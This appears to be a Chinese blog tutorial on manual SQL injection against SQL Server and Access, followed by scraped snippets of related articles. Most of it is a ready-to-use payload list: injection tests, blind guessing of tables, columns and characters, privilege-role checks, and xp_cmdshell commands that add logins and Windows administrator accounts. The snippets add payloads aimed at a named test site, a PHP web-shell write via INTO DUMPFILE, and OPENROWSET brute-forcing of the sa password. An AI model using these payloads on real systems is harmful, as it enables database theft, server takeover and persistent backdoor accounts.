Sql Server 手工注入讲解

1.判断是否有注入
and 1=1
and 1=2
判断注入的方法是一样的

2.初步判断是否是mssql
and user>0

3.判断数据库系统
and (select count(*) from sysobjects)>0 mssql
and (select count(*) from msysobjects)>0 access

4.注入参数是字符
‘and [查询条件] and ‘‘=‘

5.搜索时没过滤参数的
‘and [查询条件] and ‘%25‘=‘

6.猜数表名
and (select Count(*) from [表名])>0
这个比较蛋疼,总共有3oo多个数据库我手工没有猜出来,有神器sqlmap跑的都显示不完,刚才返回错误,如果填上正确的表名就行了,下面是猜字段,其实和access数据库差不懂,学这个就得会举一反三,这是一些步骤和语句,我给大家自己看吧,主要是这个站比较蛋疼,对了工具的使用会在以后的教程中介绍,学这个要先学会原理,只知道用工具注入也没有什么意思,要学会原理,有自己的思路,然后自己写工具才有成就感

7.猜字段
and (select Count(字段名) from 表名)>0

8.猜字段中记录长度
and (select top 1 len(字段名) from 表名)>0

9.(1)猜字段的ascii值(access)
and (select top 1 asc(mid(字段名,1,1)) from 表名)>0

(2)猜字段的ascii值(mssql)
and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0

10.测试权限结构(mssql)
and 1=(select IS_SRVROLEMEMBER(‘sysadmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘serveradmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘setupadmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘securityadmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘diskadmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘bulkadmin‘));--
and 1=(select IS_MEMBER(‘db_owner‘));--

11.添加mssql和系统的帐户
exec master.dbo.sp_addlogin username;--
exec master.dbo.sp_password null,username,password;--
exec master.dbo.sp_addsrvrolemember sysadmin username;--
exec master.dbo.xp_cmdshell ‘net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add‘;--
exec master.dbo.xp_cmdshell ‘net user username password /add‘;--
exec master.dbo.xp_cmdshell ‘net localgroup administrators username /add‘;--

时间: 2024-07-30 04:53:36

Sql Server 手工注入讲解的相关文章

sql server手工注入

测试网站testasp.vulnweb.com 1. http://testasp.vulnweb.com/showforum.asp?id=0 http://testasp.vulnweb.com/showforum.asp?id=0' http://testasp.vulnweb.com/showforum.asp?id=0 and 1=1 http://testasp.vulnweb.com/showforum.asp?id=0 and 1=2 2.数据库版本 http://testasp

SQL Server 触发器 详细讲解

最近在做微信活动,需要用到存储过程,在网上找了下感觉使用触发器更好些,和大家分享下 希望对你有用. 触发器是一种特殊类型的存储过程,它不同于之前的我们介绍的存储过程.触发器主要是通过事件进行触发被自动调用执行的.而存储过程可以通过存储过程的名称被调用. Ø 什么是触发器 触发器对表进行插入.更新.删除的时候会自动执行的特殊存储过程.触发器一般用在check约束更加复杂的约束上面.触发器和普通的存储过程的区别是:触发器是当对某一个表进行操作.诸如:update.insert.delete这些操作的

使用OPENROWSET爆破SQL Server密码

使用OPENROWSET爆破SQL Server密码 OPENROWSET函数是SQL Server提供的一个连接函数.它可以用于使用OLE DB方式连接一个数据库,并进行数据查询等操作.使用该函数的时候,需要指定连接的目标.用户.密码等信息.渗透测试人员可以利用该函数,通过指定密码字典的方式来对数据库用户进行爆破. 例如,Kali提供的SQL Server数据库注入工具sqlninja就利用了该函数.如果注入成功后,却发现只获取了普通用户权限.这时,就可以通过该函数构建一个连接,以sa身份连接

基于dvwa环境下级别为low的SQL手工注入教程

基于dvwa环境下级别为low的SQL手工注入教程: 首先是进入已搭建好的dvwa环境中去(一定要搭建好dvwa环境才能进行下面的操作),这可能会是一些初学者所面临的的第一个问题,比如我,曾为了寻找这个入口,浪费了不少的时间,所以在这里就提一下,最好是能够记住,忘了的话可以随时过来看一下:http://127.0.0.1/DVWA/setup.php. 按照提示点击最下面的按钮创建数据库,创建成功就会直接进入登录页面进行登录,然后就可以直接访问http://127.0.0.1/DVWA/logi

从算法入手讲解如何在SQL Server中实现最优最简

算法是计算机科学中一个重要的研究方向,是解决复杂问题的关键.在计算机世界中,算法无处不在.数据库是存储数据和执行大批量计算的场所,在数据库中使用一些简单的SQL命令,进行存储.查询.统计.以解决现实世界中的问题已经是屡见不鲜.随着数据量的大幅度增加和业务规则的日益复杂,越来越需要一种专门的方法来满足效率和准确性方面的要求.如何把解决问题的复杂算法转换为数据库能够执行的命令,也是数据库应用技术研究的一个方面.本文以MSSQL中的命令来阐述例子. 数据库中可以存储实体的数据集合,在进行运算时,数据库

SQL注入原理 手工注入access数据库

SQL注入原理 手工注入access数据库 SQL注入是通过将SQL命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL指令的目的. 1.判断网站是否有注入点. 在以asp?id=xx(任意数字)结尾的连接依次添加: ' 1=1 1=2 若以上结果显示"数据库出错","正常显示","数据库出错"则该网站存在注入点. 2.猜解表名 在链接末尾添加语句: and exists(select * from admi

小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+   [写入一句话木马:INTO DUMPLING:MySQL函数,将输入下载在数据库中]

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)

SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器 用户登录判断 SELECT * FROM users WHERE user='uname' AND password='pass'SELECT * FROM users WHERE user='name' AND password='' OR

SQL手工注入小结

第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉.否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息. 数字型:and 1=1 and 1=2 判断是否存在注入 字符型:' and '1'='1 ' and '1'='2 搜索型: 关键字%' and 1=1 and '%'='% 关键字%' and 1=2 and '%'='% IIS报错情况下使用: and user>0 (判